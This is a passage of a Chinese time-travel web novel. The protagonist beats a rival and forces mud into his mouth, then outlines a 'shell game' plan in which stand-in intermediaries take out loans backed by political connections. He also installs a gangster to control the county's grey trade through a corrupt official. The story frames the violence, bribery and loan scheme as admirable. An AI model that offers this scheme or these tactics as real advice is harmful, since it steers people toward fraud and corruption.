敢情搞半天这疯狗是有人吃醋,故意放出来的! 陈虎只觉得十分狗血,这司宫摆明了是奔着孙若薇来的。 其实,这都没啥好说的,关键是司宫找了马加爵来对付他。 为了一个对自己不感冒的女人,兴许还为了女人的家世,结果就是前后死了十几号人! 弄到最后,结果那些却仅仅因为吃醋这档子事惹出来的。 陈虎随后不由得深吸了一口气,见司宫还打算接着逞口舌之利,他根本就不打算再给司宫机会,再与其废话。 就见得,陈虎随后上前,一把就拎着那司宫的后脖领,将司宫提着,直往外走去。 司宫整个人本就清瘦,此时,他的身体直接就被陈虎十分轻松的一把提了起来。 司宫刚想挣扎,但他的手脚才扑腾完,就结结实实地挨了陈虎的一记巴掌。 陈虎这巴掌打得十分响亮,不说张瑛和孙若薇母女两人看得一阵愣神,就连司宫自己也被陈虎的这一巴掌给打蒙了。 从小到大,谁敢动他一根手指头? 就在司宫愣神的功夫,陈虎已然将他给提到了院子里。 紧接着,陈虎就不由分说的直接松手,将司宫扔到地上,而后就一个箭步朝前,上去就是狠狠一脚,踩在了他的脸上! 这举动,可把追出来的孙若薇一家,给吓得不轻。 孙若薇随即赶忙提道:“陈虎,快住手!他家里是……” 陈虎闻言,却不耐烦的直接打断道:“不用多说!打了便打了,有事儿,我自己负责。” 张瑛则被陈虎气的手都在抖,她抬手指着陈虎,便怒斥道:“你敢!赶紧、赶紧把脚松开!” 反倒是孙老十分镇定,他不慌不忙的走出屋,见陈虎正“友好的”与司宫交流拳脚,当即大笑出声道:“陈小子,给这油头粉面的后生喂口黄泥!免得看着他言行举止都像个女人,难受的慌!” 孙老的角度,倒是格外新奇。 陈虎闻声,自然是立马照做,一边弯下腰,抓起了院子里掉的黄泥往司宫嘴里塞,另一边笑道:“老爷子,您这话我可太认同了!搞不明白这男人没个男人样,打扮得比女人花哨是作甚来的?” 张瑛见孙老爷子这般偏袒陈虎,更是气不打一处来,可碍于老爷子就在一旁,她也不敢再多说什么,她只能颤抖着出声道:“赶紧把人送进来!快住手!要是出事儿的话,陈虎,你拿什么负责?” 第一卷 第127章 我需要你帮我找到解决的办法! 对于张瑛的话,陈虎完全充耳不闻,直接继续抬腿,又是狠狠两脚踩在了司宫的头顶。 司宫这位公子哥自是受不了这般殴打,他自幼就养尊处优,何曾被这般折辱过? 可惜,司宫眼下已经没有力气去生气了,陈虎两脚下去之后,他直接就两眼一翻,嘴里面灌满了黄泥,彻底晕厥过去了。 见司宫这般不经打,陈虎也只得悻悻然的收手,然后十分鄙夷的说道:“弱不禁风的人,我也见过,但像这般羸弱的,我倒是头一次见!就这样的身体素质,这还比不上我村里头的妇人呢!” 说罢,陈虎风轻云淡的拍了拍手,然后径直朝着里屋走去。 进门后,陈虎还满脸笑意的和孙老打起了招呼道:“老爷子,今晚无事,要不咱们对弈两盘吧?” 孙老闻言,倒也是十分配合,哈哈一笑后,就冲着孙若薇挥了挥手道:“去!若薇把书房收拾下,然后沏壶茶,老头子我今晚非得好好杀一杀这陈小子的锐气不可!” 孙若薇闻言,神色异样的将目光放在陈虎与孙老两人的身上流转。 短暂失神之后,孙若薇这才点头答应,而后三人就扔下院子里面生死不知的司宫,直接去了书房。 张瑛身子微微颤抖的望向三人的背影,然后深吸一口气后,赶忙上前将院子里面死狗一般匍匐晕厥的司宫给扶起来,接着吃力的将司宫带往屋内。 做完这一切后,张瑛赶忙去屋里头,用座机拨通了一个号码。 书房内,陈虎与孙老对坐,两人各执黑白子,正在悠然的盯着棋盘。 孙若薇沏茶之后,便十分乖巧的待在一旁,守着炉火,时不时给炉子里面添柴,静静的看着陈虎和孙老二人对弈。 孙老落子很慢,到了中局后,甚至于一杯茶分三次下肚,都迟迟不能落子,陈虎则耐心候着,也不催促。 “陈小子,你和那油头粉面小子的那点儿事,就是你不说,老头子我也猜得到!” “不过,眼下你把人给打了,可不是什么事都没有的。他家里头可不简单,以后人家使阴招,那你就得接住。” “但你现在正大光明把人家打晕了,等会儿要是若薇她娘报警,警察带人过来了,那你打算怎么处理?” 孙老落子之后,眼中闪出一抹精光,对陈虎发问。 陈虎闻言,先是不紧不慢的落下一子,而后坦然一笑道: “老爷子教训的是,刚才是我冲动了!当然,我想他是不会报警的。” 见陈虎一脸笃信的模样,孙老也不禁好奇起来问道:“你小子就这么确信?” 陈虎看着孙老,微微点头,抬手示意该孙老落子了,而后也不卖关子,坦然说道:“孙老应该也猜到了,就在这两日,司宫找到了县城里头道上最大的地头蛇,带上了一群穷凶极恶的马仔,要对我家里动手。” “他司宫家里面都是有头有脸的人物,虽然我不清楚他父母的职位,但想来多半应该是什么高官。” “这件事情发生在老爷子您家,他们若是当真找到警察,那到时候,司宫涉黑这事儿也会被我告诉警察的。为了他们家的名声,甚至于这可能会影响到司宫父母的前途,所以司宫家里面必然不会报警的。” 孙老见陈虎头头是道的分析了一通,当即十分满意的笑道:“你小子不错!不过,你后面惹上了司家,老头子我人微言轻,他们要是对你使绊子的话,那你到时候怎么办?” 陈虎闻言,却是满不在意的笑了笑,然后两指捻起一颗白子,微微挑眉道: “老爷子要是人微言轻,那司家就什么也不是了!” 这时,陈虎见孙老落子了,当即就跟了一手,这才接着悠悠说道: “他们要是明着来,我如今的村长职位是老爷子您举荐的,我想他们是不敢动的。至于我的养殖产业,他们或许可以找到收货的商人给我使绊子,但有我若是扯着孙老您的大旗,那他们也没招!” “但如果他们想对我耍阴招的话,呵呵……这次他们行不通,那下次他们就更加不可能行得通的!” 陈虎的话,很快就得到了应验。 这边书房里头棋局对弈正酣,那头一辆黑色轿车就在半小时不到的时间内,开到了孙家院外。 很快,黑色轿车上就走下来了一个妇人与一名司机,他们载上晕过去的司宫与张瑛,就匆匆离去了。 听到门外的动静后,陈虎与孙老两人却都没有反应。 倒是孙若薇探出头去望了一眼,在确认对方没有报警之后,这才放下心来。 此刻,棋局已然到了终局。 孙老苦思冥想半天,却迟迟不肯落子,陈虎则悠悠的品了一口热茶,接着抬头,看向孙若薇的方向,然后面带歉意的说道: “我这么做,不会让你为难吧?若薇?” 孙若薇闻言,直接就摇了摇头,然后脸上带着一抹意味深长的笑容,目光闪闪的看向陈虎道:“怎么?上次你和我妈妈言语冲突的时候,就没考虑会让我为难吗?” 陈虎听到这话,当即就愣了愣,连忙就要和孙若薇解释。 只是,孙若薇随后却突兀的捂嘴笑道: “你看你,我就开个玩笑而已,你还当真了!反正我们早晚是一家人,你和我妈之间有点儿矛盾,那又怎么办?再说了,他们不也没有考虑过我的感受吗?” 孙老这时候,却是突然轻咳一声,直接打断了这对小情侣的你侬我侬。 “陈小子,该你落子了!” 这一晚,陈虎并未回家。 在与孙老对弈到深夜后,孙若薇就给陈虎收拾出了一间客房,让陈虎在客房里面,暂且歇息了一夜。 次日清晨,陈虎刚睁眼,孙若薇便推门而入。 早春的鸟儿叽叽喳喳的在窗外吵闹个不停,陈虎惺忪着睡眼起身,孙若薇便顺势坐到了床边。 陈虎一边穿衣服,一边调侃着说道: “起那么早来找我,怎么?你隔着墙想了我一整夜啊?” 孙若薇听到陈虎的调笑,当即就没好气的白了陈虎一眼,然后眼睛盯着陈虎,一脸正经的问道: “司宫的事儿,你打算怎么解决?” 陈虎闻言,却是挑眉轻蔑一笑,脸上完全不在意道:“怎么做?一个仗着父辈蹦跶的小丑罢了!我打算利用你给我的资源,先一步选一个人,去拿下马关口县所有地区的灰产主导地位。如此一来,不仅可以平息先前司宫给我留下的障碍,还能进一步获得更多的商业渠道。” “至于司宫依靠家中的权势,给我使绊子的话,昨儿晚上我就已经和你们说过了。” “怎么?你觉得有你们孙家的老爷子在,这司宫家里头还敢造次?” 孙若薇点了点头,目光仍旧紧盯着陈虎不放,十分认真的说道: “我们最早就说过了,你我之间的关系,并不是一段单纯的恋情。” “在恋情之外,我给你足够的资源,而你要帮我摆脱原生家族的束缚,让我能够主导我自己的人生。” 说到此处,孙若薇却是想到了什么,然后轻咬着红唇,微微蹙眉道: “鉴于你的出现,以及这两次你与我妈妈之间闹得并不愉快,我想很快我父母就会对我采取强制措施了。” “而我爷爷对这件事情的态度模棱两可,应该不会帮我的。现在,我需要你帮我找到解决的办法!” “否则,我如果选择屈服,顺从家族的话,那以后我无论是出国,还是被迫与别人订婚,这些都代表着我们之间的关系,彻底宣告结束!” 第一卷 第128章 你可真是太看轻我了! 陈虎将衣服穿戴整齐,不紧不慢地来到屋内的化妆镜面前。 望着镜中自己那熟悉又陌生的稚嫩面孔,陈虎微微眯眼,开口道: “我明白你的意思,你需要我的成绩作为筹码,去说服你的父母。另外,你更需要你自己拥有成绩,去摆脱他们的控制。” “首先呢,关于这两点,得有一个前提,那就是你需要让他们看到你的决心。” “其次,我这里现在有一份投资,不知道你有没有兴趣?” 孙若薇闻言,心中不免好奇,那双明媚的双眼里,当即满是疑惑道:“投资?你打算让我陪你经商的话,那你有考虑过需要多大的产业才能够实现我的想法吗?” 听到孙若薇这话,陈虎不由得轻笑一声,他自然明白这产业需要多大。 以孙家老爷子的地位,以及孙若薇父母如今所掌握的权力,若是从政,那些个盘根错节的关系网,以及利益、人情往来,随便一样,都可以在大部分的地方,为其大开方便之门。 从商的话,同样如此! 政策的改动以及直接与各地区负责政策下达、执行部门的沟通,能够省去太多不必要的麻烦。 毕竟,三个孩子分两块蛋糕,怎么能够让其中一个多分一些? 那就要看切蛋糕的人,怎么去分配了! 所以,以陈虎目前的能耐,他手底下有一个小规模养殖场,一个干货特产代理,再加上一个私营学校的法人身份,听起来有模有样,可如果放到孙若薇父母那里,的确没有价值,而且更上不得台面。 深知这一切的陈虎,反倒是十分淡然,接着缓缓的举起手,伸出了一根手指道:“这个数够不够?” 孙若薇见此,眉头蹙得更深,有些不解开口道:“什么意思?一千还是一万?” “一千的话,完全就是杯水车薪!至于一万的话,万元户的确是足够富庶,也能够让人声名远播,但仍旧不够!并不会引起我父母的注意!” 陈虎闻言,却是微微摇头,然后神色镇定自若道:“你可真是太看轻我了!就这点钱,值得我在你面前开口吗?” 孙若薇见状,不由得略微吃惊的望向陈虎,有些不太相信道:“你说一个投资,能让我挣到十万?这怎么可能?再说了,我也拿不出太多的本金。并且,据我所知,你目前也拿不出来这么多钱。” 听到孙若薇这话,陈虎耸了耸肩,收回了手指,然后望向窗外晨景,淡然开口道: “不是十万!后面得多加两个零!” 孙若薇闻言,先是整个人怔住,而后狠狠的倒吸了一口凉气! 她的美眸此时被惊骇所充斥,高耸的胸脯一阵阵的剧烈起伏着,整个人瞬间站起身,望着陈虎,久久不能回神。 陈虎则仍旧一脸风轻云淡的站在化妆镜前,神色如常。 缓了半晌,孙若薇这才抽身,卸掉了身上所有的力气坐下,接着苦笑摇头道:“不可能的!要不然就是你疯了,要不然就是我疯了,你知道一千万的钱堆在一起,有多少吗?这需要多大的本金?需要开发多少产业?你要不要听听看你在说什么?” 对于孙若薇的震惊,陈虎并不感到奇怪。 一千万这个数字,的确高得吓人! 不管是放在哪个年代,对于普通人而言,这都是一个天文数字。 并且,货币的通胀率大概平均在每年百分之三的增长,也就是说,按照复利公式计算,每十年的通胀率就接近百分之三十五! 往后的四十年,通胀率就达到了百分之三百有余! 当然,这个数字对于了解过两个时代物价的陈虎而言,并不准确。 根据后世计算,八十年代到二十一世纪二十年代的货币通胀率,可是高达百分之一千! 最重要的是,以物价来评判通胀率增长,如此换算衡量货币价值,却仍有不足。 因为生产总值,相差太大! 这就好像有人说八十年代的万元户,放到二十一世纪二十年代,相当于千万富翁一样。 的确,按照通胀率计算,这不算偏颇。 但如果假设一个国家或是一个地区,他的年生产总值是十万,而这个国家有一个商人,他的产业每年能够给他带来一万的收入,这就占到了总量的百分之十! 一个人手里的钱,占了一个国家的十分之一! 要知道一个国家政府的税收,才占生产总值的百分之二十到三十左右! 直接说这个万元户,相当于这个国家中的无冕之王,那都不为过! 这相对于一个生产总值数万亿,甚至于是数百万亿的国家中的千万富翁而言,区别可不是一星半点! 陈虎相当明白在这个年代里的千万资产,意味着什么。 但陈虎却仍旧神色如常,一丝不苟的认真说道: “我很清楚我自己在说什么,也相信这份生意有多少几率能够做成,你大可以放心!” 此时,孙若薇再看向陈虎的眼神,完完全全的就是一个看待疯子的目光。 千万级别的生意? 能张口说出这番话的人,不是疯子,那就是傻子! 她到底是找了一个什么样的男朋友啊? “你说,我听着!”孙若薇不由得深吸了一口气,望向陈虎的目光,此刻都在颤抖。 尽管不相信陈虎的这番说辞,但孙若薇仍旧想要知道,陈虎到底有什么底气,能够说出这番话来。 陈虎毫不在意孙若薇眼底的怀疑,转头望向孙若薇,直接淡然一笑,打了个响指,十分认真的说道: “首先,在我简略的把这个项目的全盘计划,告诉你之前,我们得确立一个重点。那就是一千万这个数字,需要一个漫长的周期,我说出的这个数字,其实给的是项目完全落成时的预估价值。” 孙若薇闻言,当即就提出了疑惑道: “周期长收益转正慢,这些我都能理解,但问题在于,这么大的项目,我们怎么能够拿出足够本金去投入前期建设呢?” “哪怕你的手上有一条金矿,但在不考虑合法合规的情况下,前期的投入同样能压死我们。至于我们是否能够拉到投资,你要清楚眼下对于外资的市场管控十分严格,我们在没有拿出切实的收益预估前,是不可能大范围的集资的。” 陈虎被孙若薇打断说话后,却并未在意,他静静聆听完孙若薇的疑问之后,嘴角仍旧挂着那一抹微笑道: “没错!既然你提到了成本,那我们就将运作模式,还有怎样去分担成本这些……全部先主要说明一下!” 第一卷 第129章 空手套白狼 陈虎说到这里,为了让孙若薇便于理解,就从转身在化妆桌上,拿起了一盒凡士林。 放在后世,凡士林这东西属于日常用品,如今却是稀罕的洋玩意。 “就拿这一盒凡士林为例,假设我们要投资做这样的一款产品,那很显然成本颇高,前期投入巨大。” “我们不仅要选址购置地皮,建设工厂,购买设备,还需要一款合适的配方。然后再到招工和物料成本,以及后续的包装设计,广告推广,这些都需要大量的时间、财力作为支撑。” “并且,我们还需要考虑到老百姓们的消费购买力。就算你用得起这款产品,但放在这整个镇子上,却鲜少有人家能够舍得或是说能买得起这款产品。” “国内的经济情况低迷,我国作为一个农业大国,一个工业覆盖率不足、人均收入低的国家,哪怕我们的产品做得再好,但市场也没有足够消费购买能力,这些全部都是问题的关键!” 听着陈虎滔滔不绝的分析,孙若薇先是十分吃惊。 她惊讶于陈虎的眼见、见识都比她想象中的还要多,而后则是疑惑。 既然陈虎明白这些情况,又从何而来的信心说出“一千万”这个数字的? 当然,孙若薇并没有将疑虑问出,而是接着静静聆听着,心中隐隐期待着陈虎给她带来更多的惊喜。 陈虎说完市场限制与打造一款产品前后的巨大投入,以及市场的缺陷之后,先是顿了顿,将凡士林放下,这才接着说道: “很显然,我们负担不起这么多的本金!并且,打造一款市值预估超过千万的产品,似乎至少都需要把这些困难乘以十倍才行!” “所以,我们需要把这些困难简化,或者说分化一下。” 说到这里,陈虎就举起手掌,伸出了五根手指。 “分化不难理解,就像是做一款产品,对于如今物资匮乏的国内市场而言,任何刚需都不缺销路,而既然我们无法投入巨大的本金去建设,那我们完全可以将前期投入的成本分摊出去!” “怎么分摊?”孙若薇虽然仍旧一头雾水,但通过陈虎的这一番话,前后联系一下,她也有了一点点的思路,顿时眼前一亮,似乎明白了陈虎的意思,但又说不清楚。 陈虎随后不紧不慢的说道: “很简单,只需要五步!” 陈虎晃了晃他伸出的五根手指,接着说道: “从建设工厂,再到物料收购,加工、包装、销售,我将其分为了五步。” “首先,就是建设工厂,地皮和基建,再到设备流水线,这些都需要大量的本金。但这笔投入,我们可以取巧!” “借助你给的资源,我们只需要投入地皮的成本,再上报注册公司,接着就可以依靠地皮来贷款,然后进行建设。等基建完成之后,设备的采购可以集资,这同样可以借助你的资源,而这一步,我想并不难办到吧?” 孙若薇细细听完陈虎的分析之后,微微点头道:“对!这并不难!当然,前提是你要做的产品,不包括重工业以及一些高精尖的设备。” 尽管陈虎将第一步说出,但孙若薇的心中,仍旧满是疑惑。 一个工厂的建设,按照陈虎所说,分为了五步。 可第一个步骤就需要贷款来完成,那后续的步骤,又该如何保证?难道同样都要贷款吗? 再加上陈虎最开始说的目标,就算陈虎做的是一款销量巨大的刚需产品,可想要赚到一千万,这又得需要多漫长的周期? 到时候,在这漫长的周期之中,又该如何去还那些从第一步就借来的贷款呢? 无数的疑问都在孙若薇的脑子里面,不断流转,但她仍旧十分耐心的听着陈虎一一讲解。 陈虎的脸上,此时仍旧挂着那抹不带烟火气的浅笑,儒雅而随和,他慢慢解释道: “第二步,物料的成本。这一步,同样不难!” “物料采购可以按照合作来谈,采购量足够大,成本压缩是提要,而物料的款项,我们可以去谈。” “找一个收购物料的中间商,按照分期付款的模式进行,并且给出足够的利润,让中间商吃饱的同时,同意将款项分为多期支付。而每一期的打款,则都能够给我们留出足够的时间。” “这个中间人甚至于可以是我们自己指派的,等到他与我们签完合同之后,他拿着合同去贷款,同样需要你给出的资源,去保证贷款能够下来。如此一来,在物料成本方面,我们就不着急去支付了。” 陈虎的构思,瞬间让得孙若薇豁然开朗,而后满脸惊讶。 这一类后世司空见惯的商业案例,放在这个时代,显然是十分先进的。 哪怕是孙若薇这个出国去欧洲留学的人才,对此都像是打开了新世界一样。 但孙若薇仍旧不解,连忙问道:“你说的这个分期的汇款方式,当真能够让我们的产业,有足够的过渡期吗?” 陈虎听出了孙若薇的疑虑,直接笑着说道: “你不用担心这多出来的时间,不够过渡到产业链打造完成。你别着急问,先等我把后面的步骤流程,一步步说出来。” “在第二步结束后,随后便是第三步,加工!” “一旦加工的话,就代表着我们需要招聘人工,而越是庞大的产业,人工成本就越大。” “这份成本,我们同样支付不起,尤其是在我们投入建设成本之后。” “但我们依旧可以重复上述的操作,找一个中间人,注册一个人力资源公司。在我们与这个人力资源公司,签订劳务派遣合同之后,他们就再拿着这份合同,去银行贷款。” “并且,在人工方面,由于如今市场的人力资源过剩严重,我们可以多压工人一个月的工资,用于资金流转。而像前期的工人福利,例如员工食堂、住宿或者预支工资等等,我们都可以用商业贷款先做补贴。” “而第四个包装方面,我们同样可以要用物料和人工的模式来做,你这么聪明,应该一点就会的,我就不用赘述了。” 孙若薇突然听到陈虎的恭维,直接就白了陈虎一眼,接着浅笑一下,她自然听明白了这所谓的第四步包装,其实也是通过找中间人签订包装合同,然后让对方去贷款,来完成这一步的。 这一次,孙若薇没有再出声打断陈虎,而是静静听着陈虎接下来的话。 就见得,陈虎继续说道: “前面的四步完成后,接下来就是第五步,也就是最重要的销售渠道。” “当然,这个其实是最简单的!” “我们可以寻找大量的代理商,如今市场上面,各行各业的产品单一,尽管消费能力不够,可就算是仅仅赚取那些只占人口少数的富庶家庭的生意,但只要我们找的代理商面积足够大,那少部分拥有消费能力的人,也就足够我们赚了。” “并且,我们甚至于可以在定价时,定高市场价,将市场价虚高,给足代理经销商足够的利润空间。” “比如在确定成本市场价这方面,我们确定市场价,可以通过市场商品种类单一,导致客户稀缺性消费的原则,再淘汰掉一批消费力不足的顾客,把眼光全部都放在有钱人的身上,最终确定出符合我们预期市场的虚高的市场价定价。” “然后,我们将虚高的市场价,利用广告营销打出,让市场客户都接受我们的产品定价。假设产品诸多成本核算是5块,那我们市场价就报10块,出厂价给7块,这给足了经销商利润空间,他们见有利可图,并且这利润巨大,自然会选择投机,愿意加入我们的合作。” “紧接着,我们也可以选择招聘我们自己的业务员,让他们到各处的市场铺货,并告诉那些市场柜员,他们每帮我们卖出一份产品,那我们就再给他们百分之五到百分之十的利润返点……” 陈虎一连串的说出了诸多的营销模式,从各个层面,将产品滞销的所有可能,全部都给扼杀。 这些新奇的商业思路,直接让孙若薇大开眼界! 等到陈虎总结完产品的五个步骤,再计算回款周期,确实足够打造出产品完整的产业链之后,孙若薇完全就彻底的被陈虎的天才思路所折服! “这……这就相当于我们只需要前期投入一份地皮的投入,后面就……”孙若薇十分激动的看着陈虎,此刻,她的心中有万千思绪翻涌着,她甚至于都不知道该说些什么。 陈虎闻言,直接耸了耸肩,然后给这份商业模式,定了性质道:“空手套白狼!” 第一卷 第130章 一个小目标而已 孙若薇听了陈虎的话,后不由得倒吸了一口气。 随后,孙若薇细细总结了陈虎的全部思路,又很快找出了其中的问题道: “可是,这无异于走钢丝!一步错的话,后续都会卡住,前期如果不能后及时的打通各个关系,出色地完成每一步的话,那很容易直接死无葬身之地!” 陈虎闻言,直接摆了摆手,然后抽了条椅子坐下,认真听着孙若薇给出的问题,神色间露出一抹无奈,先摇了摇头,然后又点了点头道: “的确!这件事情看上去很冒险,但实际上,风险几率并不高。” 孙若薇听到陈虎这话,美眸之中,当即绽放出异彩,急忙询问道:“怎么说?” 陈虎随后躺倒在椅子上,不假思索的给出了答案道: “两个原因,第一,我们有着你整合的人脉资源可以用,各处关节都可以疏通。” “第二嘛……呵呵!只要工厂落成,开始招工,你觉得当地的政府领导班子会怎么想?一个大产业,落成就意味着大额税收,生产总值增长,以及诸多工人的就业,这都是实打实的政绩!” “越往后,他们就越是希望工厂的项目能够落地,甚至于会给出诸多的政策补助。” 孙若薇听到这里,就彻底不淡定了。 陈虎的算计,环环相扣! 依照陈虎的话来看,那就是陈虎将原本困难的全局,分解成为一个个步骤,再依靠他前端的商业思维,以及对人心的算计,彻彻底底的消除了九成的风险! 如此一来,等到庞大的产业项目落地之后,那么她孙若薇想要的一切,就都会跟着落实的。 只要有了这份规模庞大的产业,那么即便是她父母,也做不到直接左右她的人生! 不过,兴奋之余,孙若薇还是有些疑惑的问道: “可是陈虎,一座大型工厂的建设完成后,尽管规模足够大,但想要有一千万的生产总值,只怕需要的周期,也会很久吧?” 陈虎闻言,却是笑了笑道: “这只是第一步!” “类似的商业模式,是可以复制的。” “并且,除了这个项目之外,不知道你有没有兴趣了解民间小额贷款,抑或是房地产基建行业?” …… 资本市场的案例,大多都是有时效性,这也就是红海与蓝海的划分由来。 但对于陈虎这个穿越者而言,这片土地,乃至整个世界,都是一片巨大的蓝海等着他去开掘。 各行各业,都有着无数个投机的机会! 一千万? 真的难吗? 尽管放在这个时代,一千万属于真正的天文数字。 可对于现在的陈虎来说,这一千万或许也就只是一个小目标而已。 工业化的普及过后,经济会逐渐勃发,陈虎就算没系统的学习过经济学,也知道未来四十年的发展有多迅速。 小额贷款、超前消费,房地产红利……那些时代的高光产业,哪一个掏出来,都是难以估算价值的! 当然,前提是这般大的蛋糕,他陈虎能够吃得下! …… 午后,陈虎在孙若薇家中吃过午饭之后,便告辞离去。 走之前,陈虎借用了孙若薇家中的电话,利用孙若薇给出的人脉资源名单,与县里头的一位领导通了气。 不日,成枝豹便会接替马加爵的位置。 离开孙若薇家中后,陈虎就径直去了成枝豹的赌场。 刚一进门,陈虎便见到成枝豹一脸恭敬的迎了上来。 然后,陈虎便跟着成枝豹,到了后堂会的客厅。 成枝豹一脸讪笑,也不落座,给陈虎安排坐下后,又是亲自动手沏茶,又是候在一边,问询陈虎需要些什么。 见成枝豹迟迟没有开门见山的询问,陈虎直接冷笑一声,摇了摇头。 陈虎这一笑,却是让得成枝豹有些不明所以,但他仍旧没有出声询问,反倒是挥了挥手,吩咐一旁的马仔道: “去把小天带过来!” 很快,一个被打得鼻青脸肿,满脸血水,看不起原本模样的人,就被拖了进来。 而后,他就直接被扔到了地上。 成枝豹笑吟吟的看向陈虎,语气殷勤道:“虎哥,小天带来了!” 说话间,成枝豹缓缓的来到次位上坐下,接着收起笑容,点上了一支雪茄,而后叹气道: “昨天虎哥吩咐过了,小天往后跟着虎哥,是虎哥的人!” “但我属实咽不下这口气啊!虎哥,他跟了我这么多年,结果临了,到了关键时刻,他却算计我一遭!” “这怎么对得起我和他一起在关二爷面前发过的誓?” 虽然成枝豹已经决定要用成小天的命,来换陈虎保她,获得陈虎的支持,但这并不代表他成枝豹会放过背叛他的成小天。 毕竟,江湖规矩,义字当头。 背叛兄弟的人,永远不得好死。 虽然成小天的背叛,没让成枝豹损失什么,但成枝豹照样是要让成小天吃些苦头,再把成小天交给陈虎的。 哪怕这样会引起陈虎的愤怒,但成枝豹也要这么做,毕竟,他成枝豹也得用成小天来树立他在弟兄们心中的威信。 否则的话,要是背叛他的成小天一点儿事情都没有,那他还怎么带他手下的人? 能保住成小天的一条命,让成小天回去养一段时间留没事了,已经是他成枝豹最大的让步了。 成枝豹相信陈虎心里是明白他为什么这么做的,也不会损害他们两人的合作,当然,前提是他成枝豹也得配合陈虎,让陈虎在成小天面前,为成小天出一口气,证明陈虎并不是没有保成小天,只是他成枝豹没有停陈虎的话而已。 这一点,成枝豹相信陈虎和他一样,都心知肚明。 毕竟,作为老大,有些事情必须要做,绝不能让手下心不齐,不然的话,他们手下的团伙,就离分崩离析不远了。 陈虎听了成枝豹的话,又看了眼眼神涣散的成小天,虽然心里明白成枝豹这么做的为难,但他也必须要在成小天的面前,证明他这个新老大的实力。 没有一个老大,会容忍自己小弟的背叛,哪怕这个小弟已经转换门庭,成了他老大的小弟,他也要让这个小弟付出代价。 就是陈虎自己,换位思考的话,也理解成枝豹在他提醒后,还这么做的原因。 反正,只要成小天不死,并且把成小天交给陈虎,成枝豹都算完成了陈虎的交代。 当然,哪怕陈虎理解成枝豹,但这也阻止不了陈虎对成枝豹动手,让成枝豹知道在他陈虎面前阳奉阴违的代价。 就见得,陈虎缓缓起身,神色冷峻的看着成枝豹,径直来到成枝豹的面前。 成枝豹见陈虎神色不善,却丝毫不惧的与陈虎对视。 会客厅周围,一众成枝豹的小弟们,看到这一幕后,都不由得缓缓将手放进了怀里面,摸到了他们藏起来的家伙什。 就在这时,陈虎却毫无预兆抬手,给了成枝豹一巴掌! 啪! 清脆的耳光声,十分响亮的回响在会客厅内,周围一众成枝豹的马仔们顿时就有了动作,他们有的人甚至于已经从他们的怀里面,亮出了他冒着寒光的刀刃! 就在这千钧一发时,成枝豹却是咬着牙,摆手示意他手底下人不要有异动。 而后,成枝豹甩了甩被陈虎一巴掌打得发麻的脸,笑吟吟的开口道: “虎哥这巴掌的力道,重得没边,我深感佩服!” 说罢,成枝豹竟是又伸出了他另外的半边脸,直接凑到陈虎跟前,笑道: “虎哥开心的话,这边也来一巴掌!不过,虎哥昨天答应的事情……” 陈虎神色冷峻,仍旧一言不发。 下一瞬,陈虎却是猛地一脚踹出! 直接连人带椅子,把成枝豹给踹飞了出去! 就见得,成枝豹重重的摔倒在地上,他身下的木制椅子也直接散架了。 这下子,陈虎对成小天也算有了交代。 不过,成枝豹手底下的马仔们,看到陈虎对成枝豹出手这么狠,当即就再也忍不住了。 人群之中,有人率先惊呼出声道:“豹爷!” 下一刻,立马就有十几号成枝豹的马仔,直接亮出了他们怀中的砍刀凑上前来,气势汹汹将陈虎团团围住。 当然,碍于陈虎如今在镇上的地位,他们也不敢直接对陈虎动手。 与此同时,也有一些马仔连忙去扶起倒地的成枝豹。 未几,成枝豹便在那些马仔们的帮助下,缓缓的站了起来。 “住手!” 出乎所有成枝豹马仔的意料,成枝豹站起来后,却并未让他手下包围陈虎的马仔,对陈虎攻击。 反而,成枝豹尽管痛得脸色发白,但他却仍旧是强撑着一张笑脸,说道: “虎哥,您给个准话吧!” 陈虎闻言,却是毫不在意的拉来了一张椅子,直接坐下。 而后,陈虎却是收起了他脸上的冷峻,反倒是露出一抹随和的笑容,不紧不慢的出声开口道: “我说了,以后由你接替马加爵的位置,电话我已经打过了,等会儿,我给你一个号码,你自个儿去县里头拜会!” “以后县城里头所有的灰产,除了你,任何人自己做,那都得进局子里面蹲苦窑!” “至于马加爵堂口的那些人,你自己能打发的就打发了,不能打发的话,自然会有人帮你的!” …… 第一卷 第131章 他人傻,你别和他计较! 陈虎开门见山的说出了他让成枝豹以后上位,接替马加爵了,成枝豹赶忙就招呼着一众马仔收起家伙什。 看到收的动作慢的,成枝豹还忍不住上前多踹了一脚。 等到将一众马仔驱散之后,成枝豹没有丝毫犹豫,直接“噗通”一声,重重跪在了陈虎的面前,而后不由分说的先磕了三个响头,这才接着深吸了一口气,满脸惊喜。 “虎哥!从今儿开始,你就是我成枝豹的再生父母!往后我成枝豹带上这帮子弟兄,只要您有吩咐,哪怕是上刀山下火海,弟兄们和我都不会带眨眼的!” 说罢,成枝豹转头看向四周,大喊一声道:“弟兄们!叫虎哥!” 陈虎静静看着成枝豹的这番举动,见一屋子人连喊带叫的附和,这才摆了摆手,示意够了。 而后,陈虎悠悠出声道: “可以!县里头道上有你打理我放心,不过阿豹啊,我昨晚说了,小天从昨儿开始正式跟我了,你这么对他,让我怎么给往后跟我的弟兄们交代?难道说你成枝豹叫完了我一声‘大哥’,去了县城,当了龙头老大,就不会被人欺负,也不需要我出头了?” 这话,陈虎是故意这么说的,为的就是在成小天面前,把戏演足。 成枝豹闻言,自然也明白他认错,才算把这事情彻底了了。 虽然被教训了一顿的成小天,现在都很难说现在的意识有没有清醒,但该做的戏得做,得把陈虎这个大哥衬托好,这样的话,哪怕成小天现在没意识,等他清醒知道了后,也许还会记恨成枝豹,但绝对不会恨陈虎,甚至于会感激陈虎的。 随即,就见得成枝豹深吸了一口气,而后面带殷勤笑容的看向陈虎,认真说道: “虎哥!这事儿弟弟做得冒昧了!弟弟我认罚!” 说罢,成枝豹不带半点儿犹豫的,抬手就朝着他的脸上呼巴掌,力道绝对是往死了打的,一巴掌不够就再接一巴掌。 随着清脆的耳光声不断响起,成枝豹的脸也肉眼可见地肿了起来。 陈虎就在一旁静静的瞧着,直到成枝豹打完了十八掌,这才微微颔首叫停,接着淡漠出声道: “得了!再打这马关口的龙头老大,我去哪儿找?下次注意就行!让人带小天去医院里,处理下伤口,你脸也肿了,也跟着去吧!这边的事儿暂时不计较了,后面你自己处理,有事的话,让人去村里头给我送信,对了,小天好了的话,让他来找我!” 说完后,陈虎留下了一个号码给成枝豹,而后离开了赌场。 对于今天成枝豹的举动,陈虎自然门清,所以见到成枝豹自己扇自己时,他也没有多做劝阻。 很显然,成枝豹在陈虎进门前。就与手底下兄弟们商量好了。 